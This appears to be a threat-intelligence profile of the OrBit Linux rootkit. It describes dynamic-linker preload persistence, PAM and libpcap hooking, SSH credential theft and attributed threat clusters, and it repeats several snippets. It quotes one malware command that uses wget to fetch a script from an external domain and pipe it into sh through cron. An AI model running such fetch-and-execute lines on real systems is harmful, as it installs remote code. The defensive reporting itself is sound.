OrBit is a Linux userland rootkit and backdoor derived from the publicly available Medusa rootkit codebase. It is deployed as a malicious shared library and achieves system-wide execution by abusing dynamic-linker preload configuration; variants can additionally patch the dynamic linker itself, enabling redundant persistence and restoration of one mechanism if the other is removed. OrBit has targeted Linux servers, cloud infrastructure, and virtualization environments.
The rootkit hooks numerous libc, PAM, libcap, and libpcap functions to conceal files, directories, processes, library mappings, network connections, and backdoor traffic from common utilities and packet-capture tooling. It intercepts SSH and sudo-related authentication activity to collect credentials, and full-featured variants implement PAM hooks that permit attacker-controlled authentication outcomes and remote SSH access. Its installer can deploy persistent or volatile payloads and has included mechanisms to elevate users to root. Later activity incorporated an infector-dropper chain with cron-based retrieval of updated payloads.
Multiple distinct threat clusters have used OrBit or closely matching Medusa-derived builds, including UNC3886 and BLOCKADE SPIDER; a separate 2025 activity cluster shared tooling and infrastructure characteristics with the RHOMBUS botnet ecosystem. Observed builds include a feature-rich lineage and a reduced-feature lineage that omitted some credential interception and network-hiding functions.
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2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
A dangerous rootkit called OrBit has been quietly targeting Linux systems for years, stealing login credentials and hiding deep inside infected machines without triggering most security tools.
A dangerous rootkit called OrBit has been quietly targeting Linux systems for years, stealing login credentials and hiding deep inside infected machines without triggering most security tools.
18 distinct techniques documented for this family, organized by ATT&CK tactic.
That same year, a new two-stage delivery chain appeared: an infector embeds a dropper, which then extracts and installs the rootkit, with a cron job created to fetch updated payloads from an external domain.
wget --quiet http://cf0[.]pw/ 0 /etc/cron.hourly/ 0 -O- 2 >/dev/null|sh>/dev/null 2 >& 1
That same year, a new two-stage delivery chain appeared: an infector embeds a dropper, which then extracts and installs the rootkit, with a cron job created to fetch updated payloads from an external domain.
it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers
Rootkits are a type of malware used by threat actors to gain complete control over a compromised resource and hide malicious activity.
The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz... is checked before each infection attempt to avoid re-infecting the same target.
All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding... LD_PRELOAD management, log suppression, and process hiding. | Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks...
The malware uses a hardcoded GID value ... to identify the files and processes that are related to the malware and based on that it will manipulate the behavior of the hooked functions.
it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers
The malware hooks the pcap_loop function and pcap_packet_callback to filter out the traffic of the backdoor.
Symbiote ... harvest[s] credentials by hooking libc's read function and checking whether the process that is calling it is ssh or scp. OrBit hooks functions in libc, libpcap, and PAM to harvest credentials.
if so it will log the credentials to a file /lib/libntpVnQE6mk/sshpass.txt
it hooks 3 functions in the Pluggable Authentication Module library: pam_open_session , pam_authenticate and pam_acct_mgmt . By hooking these functions the malware is capable of stealing information from SSH connections and providing remote access to the attackers
38 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Linux rootkit that embeds as a shared library, hooks core system functions to hide itself, captures SSH and sudo credentials, stores them in hidden directories, and provides covert SSH backdoor access. Later variants also hook PAM authentication to forge login outcomes and use droppers/infectors with cron-based payload retrieval.
Linux userland rootkit deployed as a shared library that patches the dynamic linker for persistence, hooks libc and PAM functions to hide activity and harvest credentials, and provides stealthy SSH backdoor access. Later variants added auditd evasion, xread compatibility logic, and PAM service-side impersonation.
Modern Linux rootkit referenced as using linker-based execution flow hijacking techniques.
Linux malware delivered by a dropper and implemented as a malicious shared object that hooks libc, libcap, PAM, and libpcap functions. It achieves persistence via /etc/ld.so.preload and by patching the dynamic loader, steals SSH and command data, hides files/processes/network activity, and provides SSH-based remote access/backdoor capability.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.